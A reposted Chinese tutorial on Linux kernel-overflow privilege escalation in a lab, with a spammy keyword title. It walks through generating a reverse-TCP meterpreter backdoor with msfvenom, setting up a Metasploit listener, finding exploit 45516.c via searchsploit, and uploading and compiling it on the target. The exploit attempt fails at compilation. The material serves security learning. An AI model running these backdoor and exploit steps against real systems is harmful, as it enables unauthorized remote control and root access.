您的位置:首页 > 游戏 > 游戏 > 网络平台推广员_宽带业务如何推广_推动防控措施持续优化_qq推广官网

网络平台推广员_宽带业务如何推广_推动防控措施持续优化_qq推广官网

2025/2/24 6:20:37 来源:https://blog.csdn.net/m0_73360524/article/details/145457341  浏览:    关键词:网络平台推广员_宽带业务如何推广_推动防控措施持续优化_qq推广官网
网络平台推广员_宽带业务如何推广_推动防控措施持续优化_qq推广官网

关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客

0x01:系统内核溢出漏洞提权介绍

注意:提权很容易让系统崩溃,所以如果是测试的话,提权前最好做好系统备份。

Linux 系统内核溢出提权漏洞与之前的 Windows 内核溢出漏洞 原理都差不多,都是通过内核漏洞进行提权的,内核漏洞一般都是专门研究这些的专家发现的,我们这些小卡拉米会用就行了(后面自学一下也未尝不可)。

利用内核漏洞进行提权的基本流程如下:

  1. 对目标系统进行信息收集,获取到系统内核信息以及版本信息。

  2. 根据内核版本获取其对应的漏洞以及 EXP。

  3. 使用找到的 EXP 对目标系统发起攻击,完成提权操作。

0x02:Linux 系统内核溢出漏洞环境搭建

实验环境简介

  • 靶机 CentOS7:IP 192.168.0.137

  • 攻击机 Kali Linux:IP 192.168.0.100

0x0201:CentOS7 靶机新增低权限用户

既然是提权,那么我们肯定得从一个低权限用户开始提。为了防止部分读者不会为 Linux 操作系统中新增低权限用户,特意写了本小节。

首先,以 Root 用户登录 CentOS7 靶机,并输入下面的命令添加 test01 用户:

 sudo useradd test01

然后输入下面的命令,为 test01 用户指定登录密码(你不设置密码是无法登录该用户账户的),笔者设置的密码是 admin@123:

 sudo passwd test01

执行完上面两个命令后你可以通过 test01 : admin@123 这个账号来尝试登录 CentOS7 靶机:

如果你能登录成功,那么恭喜你,你已经成功设置了一个低权限用户,接下来的提权操作就是通过 test01 来完成。

0x0202:MSF 通过木马文件上线 CentOS7

登录 Kali Linux 攻击机,输入下面的命令,生成一个 Linux 后门木马文件 shell.elf :

 msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.0.100 LPORT=7777 -f elf > shell.elf

上面这个木马在靶机中执行后,会将靶机的控制权移交给 192.168.0.100 的 7777 端口。

木马生成完毕后,输入下面的命令在 Kali Linux 中开启本地的端口监听,等待靶机的 Shell 连接:

 msfconsole # 进入 msfconsoleuse exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.0.100 set lport 7777 run

上面的准备工作完成后,我们以 test01 用户的身份拿到木马文件并运行(你可以通过在 Kali 中使用 Python 临时开放 80 下载端口,也可以将木马通过物理机上传到靶机,方法随便你,上传到靶机后执行即可):

此时回到我们 Kali Linux 的监听模块,可以看到 CentOS 7 靶机成功上线:

那么后面,就开始我们的 Linux 系统内核溢出漏洞提权实战。

0x03:Linux 系统内核溢出漏洞实战

0x0301:靶机信息收集

1. 查看当前 Shell 权限

拿到了靶机的 Shell 后,我们需要确定我们当前用户的等级,以下三条命令均可以实现这一需求:

 meterpreter > getuidshell > idshell > whoami

如上,Linux 靶机的系统权限比较容易判断,最高级别用户就是 root,你 whoami 后不是 root 用户,就证明需要提权。

2. 收集靶机系统信息

确定当前的 Shell 需要提权后,我们就要查看目标靶机的系统信息,来看看目标是否有内核漏洞。

查看靶机的系统信息可以通过以下几个命令(shell > 代表进入交互模式后才能使用的命令):

 meterpreter > sysinfo   # meterpreter 自带的系统信息收集命令shell > cat /etc/issue  # 查看 ubuntu 或者 centos 的版本信息shell > cat /etc/*-release # 查看 centos 版本信息shell > uname -a           # 查看系统内核全部信息shell > uname -r           # 查看内核版本

如上,通过收集靶机系统信息,我们得知,当前拿到的系统是 CentOS 7.9 版本的,Linux 内核版本是 3.10。

0x0302:Metasploit 提权

1. 使用 MSF 确定目标提权漏洞

MSF 中内置了提权脚本的搜索模块,我们新开一个 Kali Linux 的窗口,使用如下命令,搜索靶机中可能存在的提权漏洞及其 EXP:

 searchsploit linux kernel 3.10

如上,我们定位出了一个基本符合要求的 EXP,叫 45516.c,使用如下命令导出这个 EXP:

 searchsploit -m 45516.c  # 将 45516.c 利用 EXP 导出到当前目录

此时俺们还不知道这个东西的用法,可以通过百度 CVE-2018-14634 这个漏洞来查看其用法:

芜湖,这个利用程序需要目标内存大于 32 GB,看来本地是很难验证了,所以我们只能换一个利用的 EXP 了。

笔者简单通过百度后并没有发现适合我这个系统的提权漏洞,这个也是很正常的。为了流程的连贯性,笔者准备还是使用上面的那个 45516.c 来尝试进行提权。

2. 使用漏洞对应的 EXP 进行提权

通过上面的命令,我们将 EXP 导出到了 /home/kali/Desktop/45516.c 这个位置,接下来我们切换到 Kali 远控 CentOS7 靶机的 meterpreter 界面,将上面的 EXP 上传到靶机 tmp 目录下:

upload /home/kali/Desktop/45516.c /tmp/45516.c # 将本地的 EXP 上传到靶机中

然后输入 shell 进入交互模式,进入交互模式后,进入 tmp 目录,输入下面的命令,在靶机上编译 .c 文件并执行(不同的 EXP 用法不同,建议百度搜用法后自己整理一下):

cd /tmp               # 进入 tmp 目录
gcc 45516.c -o 45516  # 将 .c 文件利用靶机的 gcc 编译成可执行程序,如果靶机没有 gcc 你需要自己配置一台和靶机环境类似的机器,编译好程序后再上传给靶机执行
chmod +x 45516        # 为 45516 添加可执行权限
./45516               # 执行 EXP 尝试进行提权

笔者很可惜,编译这步就报错了,没能生成可执行文件:

不过 Linux 提权的整体流程就如上了,如果读者觉得有点懵,可以查看下面这篇文章,这是笔者打 VulnHub 记录的一次渗透全流程,里面的提权使用的就是 Linux 内核溢出漏洞:

拓展: 一次完整的渗透流程 - 内核提权:VulnHub - Prime - 1

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com